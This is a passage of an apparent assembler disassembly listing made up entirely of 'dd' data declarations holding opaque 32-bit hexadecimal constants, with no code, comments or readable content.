91B3E32Eh, 4A5C8812h, 0AE608361h dd 6EF08987h, 0F06D0450h, 0AFB6B7CCh, 0D0E3A817h, 4431B9E2h dd 4E7C2CCCh, 2E54F17Eh, 0FAD5A489h, 1E2992E8h, 0C2114F24h dd 0B2FE753Dh, 0AF77A040h, 7308CCB9h, 462F092Bh, 3E3C3775h dd 0A2FEEB13h, 407700A4h, 0F7A84448h, 9C97516h, 49CF3C9Dh dd 41E5AC5Eh, 948E0E0h dd 0B87FFB28h, 95560420h, 30B0E054h, 0FF8024F8h, 8191005Eh dd 3B49E364h, 2E00E644h, 0D2CD47F5h, 4E1054F7h, 90F25Ah dd 0A4085D14h, 4BB4E9Eh, 401ADF2Eh, 0BCA4E83Bh, 0EE028C9Dh dd 2DEF3185h, 61505EC5h, 780FE3CEh, 0AF423A30h, 747C0974h dd 93E1507Ch, 3E574F02h, 0DA2A9910h, 40F09C80h, 0EAD03F45h dd 5EFBD700h, 358B66E7h, 482F1F41h, 41CDD2F0h, 0E05A114Ch dd 3E607DCCh, 0FF3028F2h, 0CD0DEA00h, 4A67C7F9h, 509F0282h dd 0FD088CBDh, 0C0993BC0h, 4225F4EAh, 1ACD8F9h, 82C8FE0Bh dd 72E37947h, 0F1410638h, 25301254h, 50D4185Eh, 40121B6Ah dd 600020F2h, 266F2EBDh, 9401D922h, 5FF14F8Eh, 0E823CFC2h dd 1045E70Bh, 0C0CA2440h, 61E5A112h, 83B218F6h, 0FD5D6030h dd 1852F2E0h, 6097621Bh, 735F140Fh, 0D4FC4016h, 65BDC120h dd 9811892Ch, 0D4478071h, 0D03D7749h, 59393401h, 1062F042h dd 9E12B400h, 7D46D89Ah, 37CE6E1Dh, 4067994Fh, 51EB6C4Dh dd 0EA21095Fh, 0A05E6B41h, 7728DF67h, 2F032E60h, 45849AB6h dd 8086479Ch, 0DC3EF559h, 2DD2D309h, 2784F68Fh, 950E10E6h dd 92B12BA2h, 0A8EECF3h, 0A22571B0h, 1AD8A42Eh, 95C3D8A8h dd 1BE1E0BEh, 8800C78Fh, 16A3F9C0h, 4A2F4A61h, 4A8CE7DEh dd 0EDA8B8B9h, 455FDF00h, 433B76DAh, 9BE01117h, 8B4F1023h dd 1AFC862Eh, 377DA8A4h, 0BF4B0BD0h, 5C04FCFEh, 5400477Bh dd 0F1822DE6h, 5EA4CB25h, 9D467474h, 33BDE05h, 4BD8046Eh dd 0FDBE01A7h, 0BAC2AB77h, 42B074A8h, 445EF246h, 4000CDEBh dd 0BAA74FD4h, 0ED5C3701h, 94C7CF2Fh, 23406F2Fh, 0FEF7029Dh dd 0BA578513h, 5BACF954h, 87660D4h, 0F31B4A88h, 406E5F48h dd 5D0D8603h, 0A29A7C75h, 6E1CC561h, 5FCC7431h, 0C154CC2Bh dd 0E285F125h, 0DCF87420h, 79B29500h, 5FD1370Eh, 4C544874h dd 4BB31F10h, 27C02C8Ch, 0C8D05F03h, 72846BDh, 25BD57FBh dd 492CB032h, 1DFE44F2h, 645C9E2Fh, 1E290098h, 13201FEEh dd 7900AF76h, 5FB7353Dh, 4FEA4796h, 0E18CA6E8h, 0DF70349Ah dd 40884F62h, 0BCA701Ch, 0EE00F0B7h, 0D0562A24h, 3B98691Fh dd 6810D0Ah, 9567F457h, 0C8C7FCAh, 0FCD16BFh, 0ACCC5220h dd 1FC8C11Ch, 687D9540h, 6A29E7C0h, 0A8B910F1h, 9BC5B680h dd 1C7BF7Dh, 8F1114FDh, 3F197AFBh, 2B287801h, 702E8633h dd 87DD1134h, 12D446BDh, 0B113DCA7h, 0DCCA2A68h, 0D880F322h dd 1180B83Fh, 40894E48h, 7FC569C0h, 0F561DA5Ch, 4B1DD2E0h dd 5054143Bh, 148C87E8h, 0B4899BCFh, 85EB8680h, 5C00B012h dd 3368965Dh, 34F0CBh, 628DF61h, 2FA258DCh, 0CA8BB718h dd 7FC649C8h, 80BA5203h, 427DAC90h, 0B6F9178Fh, 0F43FA017h dd 0B51FBB23h, 0E2CD2B04h, 0B987F4C1h, 26E5C100h, 1A04DBDh dd 0FA8E6BE7h, 0C714E498h, 7CD40995h, 193ADCC4h, 7FA0823Dh dd 777238C1h, 0F1ED3800h, 0D6259B11h, 0DE147E90h, 0B170F500h dd 747E9FA5h, 0B4C7959Ch, 1CD644A4h, 5454DAC7h, 0CF1782A9h dd 25BCA828h, 0D6607CEAh, 0D0D90400h, 63BCA7D2h, 501D80AAh dd 0C0106D97h, 0BB3F6CFBh, 2188B900h, 2DF25B7Ah, 8758202Fh dd 0B72B2C17h, 8B7A24F1h, 0E3DC84h, 5CA507E1h, 50BE262Fh dd 69004811h, 0F57C9F81h, 0B106C07Eh, 0AE1699D0h, 0F881B5A1h dd 601A77A2h, 0E30004B5h, 93D35E58h, 9D140AF5h, 5A70947Bh dd 16CB0145h, 0A29813ADh, 48987D26h, 83B4104Ch, 9EED1001h dd 0BF343167h, 0EB030A68h, 54B84BFh, 640B5898h, 6D7CE985h dd 0E60F7CCh, 0FFE7F0E2h, 0B0B40607h, 0BF4D6B88h, 0CF45DD07h dd 2620EF17h, 20FB2896h, 0C2779B5Fh, 0C34A9400h, 0D02780D5h dd 548C1F25h, 0C4BF82BDh, 0B7771807h, 0BC60006Ch, 0FC2875FBh dd 434D52Ch, 0E3272B09h, 0DBD05A00h, 2DC29C1Ch, 82A70FE3h dd 0A0968924h, 70082EE0h, 64E03D37h, 0DB50B6A5h, 0D8F15100h dd 2FD67528h, 71527976h, 0E0C6B549h, 0A4A8CC4Bh, 0A5EC145Ch dd 920A128Ch, 0A23CB8D7h, 2C1321ABh, 0F8D06BD3h, 9726B42h dd 0BDC5E755h, 69140177h, 0B52E107Ah, 489A7E64h, 7ECEBBC0h dd 6BFC170Bh, 0CA0174B3h, 515A8FE2h, 10D0CB2Ah, 997CD358h dd 4361003Ch, 2C7F38D5h, 0ED9D204h, 9BEEF25Ah, 0B72D8050h dd 0FA14D210h, 23E202BEh, 0B405072Bh, 0E0284D77h, 0BC5AA5Eh dd 9F840E5Fh, 3A8EC447h, 0C82F6B20h, 65150F5Ch, 0AC009DEFh dd 8B9345A2h, 0DAA63C04h, 0C0882EA1h, 0D00F1030h, 84FE249Ah dd 0C869E507h, 0A2F0A3h, 0C4E2459h, 19AE670Dh, 2292FE01h dd 935AA138h, 1ACE23Ah, 9ED106E9h, 4E2BCCD7h, 58694594h dd 4940747Ch, 7DC84FAh, 9CC147CBh, 20CA9256h, 0C1104D5Fh dd 0D45D22C5h, 77716BDAh, 7C7B9225h, 18F57ECCh, 0F5ED0082h dd 0E69D27E2h, 384B5CC3h, 0CA87F0A9h, 0D0AE852Fh, 90B32BA4h dd 27CFCB80h, 0CC74A50Eh, 1D57F161h, 547C41C6h, 8E04702h dd 0BCB6A858h, 605B4CF4h, 13EBAF10h, 24E4174Eh, 0C0640052h dd 455DF836h, 8495EC2Fh, 0FCB9F2E8h, 0D0ADC788h, 913B098Ch dd 2446C195h, 7B66A201h, 0B6AB0328h, 303C962Bh, 0DC92984Bh dd 0D468279Eh, 2816AE84h, 0AE8BF804h, 0E82865AEh, 20F280C4h dd 48030Ch, 0E95612C6h, 7F1D878Ah, 0BF652404h, 0D34049CFh dd 0A1FCA04h, 0D060672Fh, 2DA09090h, 2879A53Bh, 5ACB9509h dd 3CB517C8h, 0EA34C45Fh, 0B059AC80h, 611D00E0h, 0CE4B9111h dd 6B5351ECh, 80243998h, 9311C81Ah, 0FEDF5A99h, 91589991h dd 0C71106A3h, 0F8D8907Bh, 5AB32744h, 0B915CC8h, 8C5AE170h dd 2D30F0h, 0AF5A7CF9h, 1551D4DEh, 7421A14Ah, 6801B033h dd 29698379h, 0D02B15ECh, 5AE3132Eh, 9CB697h, 2295FC1Dh dd 76F3E4h, 2B78FE8Ah, 6399BBDFh, 41F2E302h, 5FCBC5B1h dd 49AAA484h, 53E010F3h, 0CD8E4C3Ch, 0CE084400h, 765A42B4h dd 0C2811402h, 57ABF037h, 53BF5C21h, 43F909CFh, 0A055CC02h dd 4E113274h, 0A61A0EC7h, 0D466665Ah, 0F3203874h, 98494BC4h dd 0A3402FF0h, 0EB5C391Dh, 844564Ah, 4A8EA83Ch, 71E4A981h dd 666B80A4h, 0E85545B9h, 0CC89EAB0h, 8C82AE1h, 67F70010h dd 0D331E3AAh, 0E02700Dh, 0FB904D88h, 124C5EABh, 8018F819h dd 0F56A067Bh, 0BED70073h, 0FA4B3668h, 3E3BC116h, 10385CA5h dd 0C20980ABh, 0B7779CCBh, 861D002Ch, 0C8DA794Fh, 0C6166D76h dd 0DC00C3C0h, 9DB02B8Fh, 0ED0D04E5h, 0A3B861ECh, 4C8A4E74h dd 0AC186C8h, 826EB6A0h, 0BD02CD10h, 0DC145C67h, 17A55D00h dd 634F77E0h, 24A22633h, 0F2841A8h, 11142468h, 0D622E925h dd 17DD7A44h, 8F8D91B0h, 681FFC9h, 0BA5B5250h, 0EAA8236Eh dd 5F283EC8h, 0D680D901h, 0C41F3874h, 27D4312Bh, 326FD465h dd 0B4E2F04Ah, 889CF05Bh, 9CCC3D5Bh, 21A863F3h, 43800BE3h dd 14256985h, 81B871A9h, 0AFA00FCAh, 14CB6B23h, 6A6BE680h dd 7B956EABh, 5A9E70C8h, 0AA8A1003h, 4F9A2E99h, 0D0B2D9h dd 0B96F7269h, 1CC54E36h, 40CE56C8h, 1EC12544h, 0C595F394h dd 1D1C11ACh, 57021752h, 204FCF96h, 67D0EF45h, 0EE49E500h dd 7B6A7A8h, 20591290h, 0E2A8E391h, 58AA30BBh, 2FCDC90Bh dd 9068F01Ch, 823F25DCh, 54403421h, 7C6F2A22h, 82762C00h dd 50EF3161h, 57A4029Dh, 63A50032h, 7709866Ah, 5C0FBA4Bh dd 14ED51C8h, 84BC9BEAh, 0F7042D86h, 88301020h, 0D31610EBh dd 26A834A9h, 1D88C49Fh dd 100C7F1Ah, 3B86A5A3h, 74BC9059h, 4E48818Fh, 0C0BA88A8h dd 75843B78h, 825E7138h, 873C1358h, 0CFF90044h, 8CB02D76h dd 409844h, 7AA33ED3h, 588BE16Ch, 0B725C712h, 0C01E0C01h dd 707D94CBh, 0EF070FB8h, 0F5208146h, 82CE15B7h, 0C0689D77h dd 9990A76Ch, 1880F194h, 0D4D0BC7h, 0F401F432h, 2F1751C1h dd 24037888h, 0BEFC9AFBh, 2D945810h, 9F34789Dh, 8C111C9Fh dd 0F58DC480h, 62021A03h, 9876CD14h, 60665F22h, 98A51320h dd 0BC52E6B8h, 0E229847Ch, 17A4B8CBh, 0CB4CA95h, 0AC2F5299h dd 0E0B6127Ch, 9C40EE0Eh, 79875B4Ch, 60B50015h, 0F625A810h dd 0F0096A82h, 50F75C13h, 29CB340h, 30832CB3h, 0DC4C3A57h dd 0E009DEA4h, 82E78335h, 5DAC6388h, 6DB5646Eh, 1543405Ch dd 9D172120h, 0F404A3F6h, 0CF0531FBh, 7812EA85h, 6FB848ADh dd 0A6506A0Eh, 0D1DA222Eh, 0B05C60A0h, 0A456828Dh, 0C01FC861h dd 6A09543Ch, 346F59A4h, 650F0B60h, 20E0900Ch, 9927BC43h dd 95C4A223h, 76BC90CDh, 0C2CE0F5Eh, 0A474441Dh, 0BC6CA94Eh dd 8DA00C0h, 0CEF78974h, 0BC4A65FAh, 8450C0E3h, 0C88F4077h dd 0E0E8EDB5h, 1D53BCA8h, 0FF4F14E2h, 0DF2F9CC0h, 74BE4937h dd 0D874EB27h, 3218F374h, 71CDD109h, 0D0828127h, 0BF1A80Eh dd 5CFD160h, 2124782Fh, 0E830AE95h, 22C52E76h, 0E9159768h dd 18AC8595h, 0E540AF2Fh, 2E1031C4h, 322CA2D1h, 71E127CCh dd 0AA0509ECh, 0D3B9C502h, 20DF8380h, 0F0045774h, 62214011h dd 0C864F4EDh, 2C24881Fh, 9B6D2B22h, 0BC1B783Ch, 0C16992Eh dd 0D695D85Bh, 5924005Bh, 82DA9839h, 44007780h, 2FE9BDB4h dd 0B5AB2299h, 0E5C5A090h, 5810040Eh, 0C000BDE7h, 0BB5138E1h dd 5B8E0252h, 185EDCE9h, 0BA1C605Ch, 1FB94D87h, 0D72F61C8h dd 0B846C13h, 58B714B3h, 0F22BEF0Ch, 0C83B0014h, 8671117Fh dd 63A90143h, 38C16DABh, 0EBDEC8E2h, 0C7ED4912h, 396988B2h dd 2D03757h, 8EE42BFDh, 0FB5C9F85h, 0E8AC2C56h, 0C42810A2h dd 594674h, 3D60BCCh, 13C3CD06h, 0B840688Fh, 8C9BEC78h dd 0CB3B5E1Fh, 0FA98208Bh, 826F749Ch, 70DC9D55h, 3136527h dd 60045B62h, 0F652A410h, 57EBE03Ch, 2DD40544h, 9383CF03h dd 1010C3C8h, 0C225BFC7h, 81890C7Bh, 76C8FC94h, 96008046h dd 3759D018h, 19175E5Bh, 0AF05EE57h, 10C81151h, 0FE32596h dd 0D4565042h, 81ADC151h, 9E591C53h, 90028418h, 67DA8A9Bh dd 4014D628h, 9710B62Ch, 0BE642507h, 9E61D029h, 222E9265h dd 4D77EBFCh, 28AE60A8h, 4802523Ch, 0E10DA643h, 4004564Eh dd 0B9D0085Ah, 0D829D100h, 717E4BF0h, 0F6514A1Bh, 0E38A0230h dd 32C47AFEh, 465EF4DEh, 0EFD40186h, 47C72FE0h, 76BC012Eh dd 3E464C52h, 0F80CC5h, 0B300180h, 0D89736ABh, 4A6D00DEh dd 6A2A7FFDh, 0C109BEE2h, 0D20F3D81h, 0C5130BECh, 2C7CEB88h dd 27602D6h, 9EF8BA85h, 24141CC0h, 117CF8ACh, 27F04195h dd 6EFAC4E7h, 3DFE0080h, 4AA1F88Eh, 0A5062BBDh, 0DE8C24B4h dd 0B94CC501h, 2C999A4Fh, 0D5030466h, 0EEBD7FB6h, 2B1640C9h dd 6E6B54CDh, 4ACE0374h, 9B17E3CDh, 7FD3BF97h, 5F55EACBh dd 5B0214CEh, 1150D67Ah, 0ECE05DB1h, 0E6BD95ADh, 0DC7CBE1Ch dd 0D8F8182Ch, 0E2015D60h, 95B53C87h, 8CC72D00h, 0D51098B4h dd 1FC95A09h, 0A88B7590h, 33C0E4EDh, 190FA05h, 0DB3A8850h dd 3AE0328Ch, 7DACA2h, 0B7EDF782h, 61892A5Dh, 0B1872107h dd 2350EF71h, 0C04CCF8Bh, 2C4AA2C1h, 880A8796h, 89CBA0D5h dd 13E09A01h, 2F2B84E1h, 8E77B0h, 16DF2166h, 7407FF8Ch dd 40B0014Bh, 141712CBh, 0CC74EB98h, 5723342Eh, 0E3F59400h dd 973F032Fh, 2E5AB094h, 9F60AC26h, 7593840Fh, 23982E98h dd 0BC5A009Eh, 0DCD2D608h, 2BD802B5h, 0C83D5F42h, 75CFB701h dd 51E9B688h, 2FACFAE6h, 4C20CCF1h, 0B3DAAE9Eh, 3D6EFA02h dd 7A16515Ch, 1AF00398h, 922F9910h, 14C8594Fh, 0A16A0021h dd 400F7B4Eh, 4909157Eh, 44CF95E1h, 225209F4h, 0B7DF06B0h dd 0F2571228h, 3CFD4BF8h, 514BBEBCh, 8AD6B4ADh, 0C09AC880h dd 2D5FDAE1h, 358C7509h, 0B89475A3h, 80F25A43h, 1AB9C30h dd 0A97CD2D9h, 51E70E26h, 15AA15BCh, 0F1D96286h, 0BEC8A84Eh dd 0C18074C0h, 0AFF6096Bh, 0F8B0A084h, 0D309C044h, 0DDBF2FBAh dd 0C14BC425h, 80DBE0h, 9CD0067Eh, 0FDA20F18h, 0B782912h dd 0C09C88ACh, 8ADC785Ah, 0B604B87Dh, 8FE32DCEh, 0EA3412BEh dd 6AFFE475h, 86A000E0h, 6F40BDE0h, 0F2324AE6h, 51F98BE8h dd 18BCF114h, 0F17006Dh, 0CC636927h, 9D7781CDh, 5E5C9904h dd 54E94DA4h, 2C6AAED2h, 763CBA00h, 0C0A490D1h, 0E250E500h dd 2B6A7363h, 0B78324FFh, 68A44010h, 0A57887B6h, 78E67D5Eh dd 14F542B0h, 7F268C00h, 4F16B018h, 0B1CFA0Bh, 0EAE72DFAh dd 0D6187Eh, 7CACCA6Fh, 0A1C8C441h, 1E7DFD05h, 0ECB0FB14h dd 314A60CCh, 0EB6C3C96h, 0EAD11B1Ch, 0F143D400h, 4219BCh dd 1DD045F0h, 12515493h, 21E8B9C0h, 2EC5BDE1h, 2EE26E47h dd 0AEFA9230h, 14BC5008h, 0F64AF04Dh, 6163F0D0h, 3A87FEC5h dd 6801087Ah, 0B19FE428h, 0CB589F67h, 0B82B2382h, 2254610Ah dd 9581B260h, 4704D052h, 269724B3h, 0F96B1405h, 0D00401CCh dd 6E078035h, 7E6FAE4h, 1B7D11E0h, 0AAA725C0h, 2DEF90D5h dd 14F36B20h, 73C01988h, 0B545A5D5h, 0BD171CF8h, 12EF1C59h dd 94CBBF03h, 0B9C016C8h, 6600E75h, 69BD2957h, 5E2F5007h dd 0E803DE61h, 77017E2Eh, 5357E8E2h, 1BA8860Fh, 0F85F5E22h dd 576E8042h, 3828F0D1h, 0BDDF8D83h, 2CB95E19h, 0E0DEB58Fh dd 7ED1FF2Fh, 3400DCB9h, 36D7FF2Dh, 256BBEEAh, 107F9AE1h dd 9FDF8B94h, 0A2F7B95Fh, 0EC43AC2Eh, 29008C1Ah, 324864A8h dd 1801F087h, 5E2FDD95h, 0FE958509h, 14E90CC2h, 0DA00FC37h dd 89E19872h, 71A916h, 0AAF980B4h, 0BD436BF0h, 61FCDC04h dd 0B6AB026Ah, 0A315B0E6h, 90370068h, 6EA2BB50h, 42EF1732h dd 0C2DD85F7h, 676DF525h, 51605DC1h, 2905D641h, 8DB85A03h dd 0EC10E91h, 0DF2E961h, 0C4EBF27Eh, 6604A2C2h, 27A6AA8Bh dd 0A0D55E0h, 3757B724h, 71BD7B20h, 39A700BEh, 0E4950B6Dh dd 0A20C5173h, 0DAC64727h, 78462DEBh, 45084ED4h, 0BB891D93h dd 964088C9h, 5B6E989Fh, 60CE87Fh, 18959D33h, 2353B71Eh dd 4A0BF0Bh, 0ADFB7A54h, 8D9D8262h, 7A4EFF29h, 70925BBFh dd 4D0EF798h, 64D876BDh, 0F4AEFF6Ah, 0EE001BC8h, 142E741Fh dd 152B8C1h, 0FFF5ABEBh, 861281B5h, 0E59D8976h, 35FE80DFh dd 2BE9811Ch, 293D0DB8h, 16282599h, 0C380C0B0h, 70E67F14h dd 31D77DF2h, 8D6D08EBh, 7824F948h, 0D3EF1C35h, 1D5EFEA9h dd 6677EFCh, 0C8B6C2DEh, 515F46F7h, 34322BAh, 82C1F2FAh dd 0C10859Ah, 0C18AF92Ch, 0E92A049Dh, 4C2900D8h, 0FC6EC4E0h dd 0C77C1D1Bh, 2793C7B3h, 24F55BEEh, 2440117Ch, 0B112C6E4h dd 877DD03Eh, 64CE43E6h, 6AB3ED40h, 0C82B00DAh, 1D18BF9h dd 0A5571B5h, 3F16238Eh, 0C98588D9h, 905D2528h, 20953161h dd 831518A9h, 819007C0h, 1DA19D29h, 0F70B0F47h, 0B6AE8810h dd 5C2BF200h, 0DBD8F4E0h, 310300A6h, 3357A266h, 9CE791BDh dd 88685F3Ah, 3B8025FCh, 11B5A1D0h, 4199C34Ch, 9032DB21h dd 1238C329h, 0A0BF64F5h, 0B702A566h, 8488F879h, 0AB7CAF23h dd 0CAF6D70Fh, 0FE161AA5h dd 1D091805h, 44863210h, 71DC1506h, 0B58D0422h, 0AA2617D4h dd 80E31DA6h, 2B8B5CD8h, 0EB86F700h, 0BB66D1DFh, 0E8E15BDDh dd 8FAD750h, 6A311072h, 1B800DE8h, 0C907FFDDh, 9C008324h dd 52B9F323h, 98604EA2h, 0FA5F4AABh, 1423B86Ah, 0DB05FC3Eh dd 215DE6F3h, 13EDC404h, 4275B909h, 0AA6DFF68h, 0E9D87FC1h dd 1E6743A4h, 31258254h, 0DB851290h, 88528EFCh, 2588C215h dd 6B52640h, 0E88FC81h, 0B8141A65h, 0AC2F91E1h, 80710BE3h dd 30FDA8EFh, 551C780h, 2B37FC40h, 4BDBEFD2h, 0EE892E85h dd 0E29D1098h, 0DCBB8132h, 303AA633h, 0D1C218ADh, 983D05Eh dd 0F47504E9h, 6271ED75h, 8F42D134h, 10373A2Ah, 285C480Eh dd 0D93CFAD8h, 6EAACA02h, 7B4B0E0Fh, 0AB3B2336h, 9B8FB95h dd 880DFB5Ah, 40FCEF5Dh, 56C63590h, 5A12F3FEh, 7A01BC92h dd 33F1958Bh, 0A08FA77Eh, 14BF58Dh, 2151D85Ah, 20B168CDh dd 974CFBCDh, 2D311034h, 3909E818h, 0ED01A18Fh, 5D0C4D34h dd 4861231Ah, 5F0005D5h, 0C2728B50h, 0C103181Bh, 0E24AC708h dd 0DF5819B2h, 0D4C19CCDh, 9663224Ah, 5FFEB00h, 70449479h dd 0E31FB309h, 0AD628413h, 0F6AE9AD4h, 414FB0FAh, 0BD130510h dd 93C2886Ch, 69C1836Ah, 9DA26F2Ch, 60487422h, 25DD101Ch dd 2DD38100h, 612C5FC9h, 7C97B870h, 775FF486h, 8D3896A8h dd 2050B192h, 0E1FFD956h, 2DF8605Eh, 3F3AD80h, 0DD03566Ch dd 5F6A46BDh, 0ABC69088h, 55C7BF6h, 616039BBh, 0EF5C8C58h dd 80AFF900h, 0D15F096Ah, 0C5990048h, 815778ADh, 0E805EADFh dd 61582297h, 30E58104h, 6F040D31h, 19B29DE3h, 7D545230h dd 0E728298Ch, 3401102Eh, 0BE0A4FFAh, 4EFAE8h, 6AA8FF98h dd 50EB00E1h, 9937064h, 114065B5h, 4C26A45Fh, 9E3A5E03h dd 27ECDF4Dh, 9E99C11h, 8B90C000h, 4CD3E35Fh, 512F1212h dd 5B6E88BEh, 0F4F9602Fh, 35572511h, 6384ACDBh, 0EFFDE180h dd 0BC80AEDBh, 78557F12h, 388CBF00h, 95013A75h, 28F6B29Dh dd 7BB4C90Ah, 9C878247h, 570498B1h, 30C1E0B3h, 0C865B985h dd 0E29BA67Fh, 0DCDE9853h, 89A200EFh, 42BC8051h, 0E1003FADh dd 0A7F373BFh, 25335F70h, 0AE09A585h, 60524D5Fh, 0C027E5A7h dd 319E9D02h, 550F4585h, 4F003F53h, 0F9F24CB3h, 0CE3F07D4h dd 0A25093A8h, 0FB559082h, 0B95F587Fh, 0E822A67Eh, 0F1BA0106h dd 8B3D4AD1h, 76372E9h, 0AD18E010h, 609CD280h, 0CE190965h dd 1B090A62h, 7494882h, 968A6106h, 0A86860BEh, 30E3215Ah dd 8103F800h, 59572434h, 3A90DC3Eh, 9EB01DBEh, 1E910800h dd 60545713h, 0EB850773h, 40BF25CAh, 0E973B9BBh, 0AF014B91h dd 0EA00A76Fh, 0B531B021h, 0CF13EFFFh, 871EC06Bh, 98EB0E52h dd 0A703A0CBh, 0A1B64F02h, 4B68B096h, 0D58201AFh, 4560BCBEh dd 0DAAC89CCh, 0E33D065Bh, 0F92BF3ADh, 48C738C2h, 9AAB9274h dd 7D18C024h, 69A6E7Ah, 0B58B9605h, 0B72669E7h, 0DF19B7FEh dd 1D2C657Eh, 0DD6BBA4Ah, 6FEF9F07h, 0B529B1CEh, 83EB5579h dd 0D2F0D73h, 0DE7ADE89h, 88112800h, 0C4637F1h, 0D43C498Ch dd 0A0779790h, 18044632h, 13918D29h, 5AE55096h, 12DC03Ch dd 2AD7D5Dh, 33BCDFE0h, 0D390B5FFh, 4608F0Fh, 3CBF6631h dd 0F81E8B0h, 681143C3h, 3C6F9C2h, 392E4DFh, 0DC4D84A6h dd 5F82CBECh, 0FAFB6948h, 6003D900h, 80F1B70Fh, 611B12CAh dd 825F348Dh, 35E1FEC1h, 800FD8DAh, 7D2453DCh, 0C0CF6DC9h dd 0AF8BC0C5h, 726E421Ah, 91968162h, 0E67E6183h, 402BE044h dd 0F6E105AFh, 5429BD89h, 152293D4h, 5985C72Ch, 0F6803D6Ch dd 8266B0CBh, 38BA697Bh, 15111FC2h, 0CC3D3984h, 0F800F285h dd 23619444h, 79A4DBA6h, 21E92734h, 7B27913h, 0C305000h dd 0E644E011h, 0E8C11E01h, 20EB310h, 3F14C83h, 0DD32958h dd 3636EBE7h, 396404DEh, 1B3316EEh, 40282950h, 0CD581821h dd 9570113h, 0C015601Bh, 268E0F21h, 13D50869h, 85500A2Ch dd 0B04413Bh, 1B2E35B1h, 3902936Fh, 2FA40F0h, 0AA14015Fh dd 57C68529h, 37827F7Ah, 7FE4F5h, 680FFCE2h, 96F32AE3h dd 95370E90h, 0CD54331Eh, 0E92BD6E1h, 108EAC98h, 339C487Eh dd 0B2897DDFh, 1797D82Dh, 1CC7CFB7h, 810430BCh, 33009EEFh dd 0BF963464h, 10836B2h, 79BB5060h, 0F15676B9h, 30663001h dd 9446BAEh, 0FC20048h, 0FF21935Eh, 0CCC913BBh, 5D944241h dd 0E45809D3h, 557605D0h, 247E2339h, 2EDA369h, 52F48A60h dd 0A0585F58h, 0EF266B9Eh, 1C3201DEh, 9D89A691h, 48A23CD1h dd 90022277h, 6986FC46h, 0CB4E11C4h, 2ED47594h, 1C62EBBh dd 9D0BFFBFh, 18D3845h, 8904C283h, 0F67F2050h, 0A43EE0B1h dd 2012B069h, 31151E25h, 4890ED8Dh, 0DEBC10B2h, 2F40EF4Ah dd 0C261A569h, 0F3F20E6Eh, 803FA9FEh, 54FB5BAAh, 66483337h dd 0A986258Bh, 0CFBC4D77h, 9156D8E0h, 0F059F58h, 8DF8055h dd 2029BB05h, 0E0F0A724h, 33AD24BDh, 4DFF523Eh, 3002C7B4h dd 11E924Ch, 42BA280Bh, 5FAACACBh, 7F78D053h, 4F553AD4h dd 0DE967680h, 89FD8A50h, 509E72B0h, 128F5BDCh, 19650AAEh dd 6DFF527Eh, 0BD3E40B1h, 660CAEA9h, 0F80C2751h, 451A5BF5h dd 40EF107h, 0C9163106h, 3813D9A6h, 12308E04h, 0C0B29BEAh dd 10D608B9h, 50450E9Eh, 8B22B660h, 97AB61D7h, 92C46340h dd 5E9578ACh, 0E30B7E53h, 0CB719529h, 1DC4B7E6h, 0F0DAF6ABh dd 5F79AF0h, 70AD8DDFh, 38BE0E2h, 1D44CFAFh, 0FB89BC60h dd 2C7C5201h, 0A549F931h, 0EFD6288h, 0AB0C4D2Ch, 40C5C803h dd 9D14232Fh, 84D51555h, 0E01C02A9h, 5D5E7D69h, 78C03C4Dh dd 5CB81825h, 60848C66h, 0E1B1C3EEh, 0C14F2282h, 65D6C740h dd 23D6C47Fh, 0F2C7C519h, 180300ADh, 0B29F6536h, 0EF990E32h dd 4B8716B9h, 56B3706Eh, 70B0E40Ah, 3150D905h, 88B06D95h dd 42C6695Bh, 2FE95682h, 7D20B6E4h, 5837E119h, 0E95D5E0h dd 408D980Bh, 0BE890EB1h, 204F2450h, 677D9F53h, 6BA23100h dd 2B92B315h, 38E970BCh, 0BACAFFF3h, 223A236Bh, 0A789AA39h dd 0CD57C18Bh, 0F35A6005h, 6102E7C6h, 1B7B1EECh, 95157051h dd 5643F2D6h, 0AFD5BA09h, 5090C4A9h, 690021A2h, 0F07C560Dh dd 6BFE432Dh, 8B903002h, 5D21DD9Dh, 7D80CD59h, 0DFD97B44h dd 0B1F6FFh, 3AD8ED5Dh, 6AA235A4h, 0DC697E97h, 7CA2A803h dd 6CBB71Ch, 1ABF6642h, 9012C6F2h, 0C8BA26B2h, 33048CDCh dd 0EE9953A5h, 0F9EAF4BAh, 0DA9053h, 0C9ECFAA2h, 37EFCA3h dd 0D7ABEDAEh, 52925750h, 9B404C56h, 3AFF261Dh, 6F174DD6h dd 270B001Fh, 6EEEC8E7h, 0D7EC8625h, 905B0A02h, 7DC455Ch dd 0F5A39068h, 0FEA7101h, 93D728Dh, 7D6A39B7h, 0E0CFE8EDh dd 117713A2h, 0B38D025Dh, 0D8B7BF0Ah, 0BCF1A2AAh, 0F76B7B92h dd 0B0965628h, 0E2B4C5B6h, 4B91E005h, 8918CCC2h, 59C1BD26h dd 0B189299Dh, 0A618791Eh, 0FC00D6BEh, 3216F28h, 0B0919FDAh dd 4BF77C21h, 2113CAE4h, 1818F967h, 0AD4102E2h, 26A917Ch dd 50021F78h, 5C1777BBh, 2E395C4Dh, 0D400DC76h, 6A108220h dd 0F819CF9h, 0EE4925CBh, 0D9A5B3C5h, 4096C51h, 12798D29h dd 5C97BB92h, 0B29A70D8h, 0E92BF981h, 0DAACB6h, 80222DA9h dd 8BAC7527h, 0BE8CFE4Bh, 8A5E97F5h, 0D7D8A53Eh, 0E0B78998h dd 54B93297h, 61640EDh, 7E006E96h, 61BA9128h, 95C83D49h dd 0AFA06DF6h, 0CD99DB4Bh dd 1A56E2Eh, 0A8978032h, 742EFB8Bh, 0A082F6E8h, 1095D35h dd 0D8F0A148h, 0E02A13E7h, 30418D95h, 30F71D2Fh, 0FF6AF80Dh dd 655C9198h, 1E5C4E3h, 0F08CF6AFh, 12683879h, 0B23F0E72h dd 0E395019Ah, 0B9534581h, 692035F9h, 740A1246h, 27B90801h dd 7F125B13h, 82224E6h, 12A9BAC4h, 0E45DB009h, 18E5F021h dd 8455F710h, 9704C623h, 70E6C29Eh, 49A4CCh, 531E5494h dd 0B5C15B48h, 80050F7Eh, 71E412E3h, 3A0C21C0h, 0D2FD4B8Ah dd 729CA39h, 7AE9023Eh, 0CCFA4B37h, 0C3168133h, 7F078D3Fh dd 30848531h, 89822FBCh, 586A2D9Dh, 0B820215Ch, 2B80957Ah dd 0A55EC7C8h, 4570C925h, 12E9AD2Ch, 2B2DA56Ah, 0D96F0539h dd 112AEA2h, 4C10F203h, 2151728Eh, 38CA2109h, 4EBC0B1h dd 44532C6h, 0B535C986h, 0A7F9B89Bh, 30AF31B6h, 81174AE9h dd 0E412EFD3h, 89AB1801h, 1995CC99h, 263F4EB6h, 6C2597B5h dd 882945FFh, 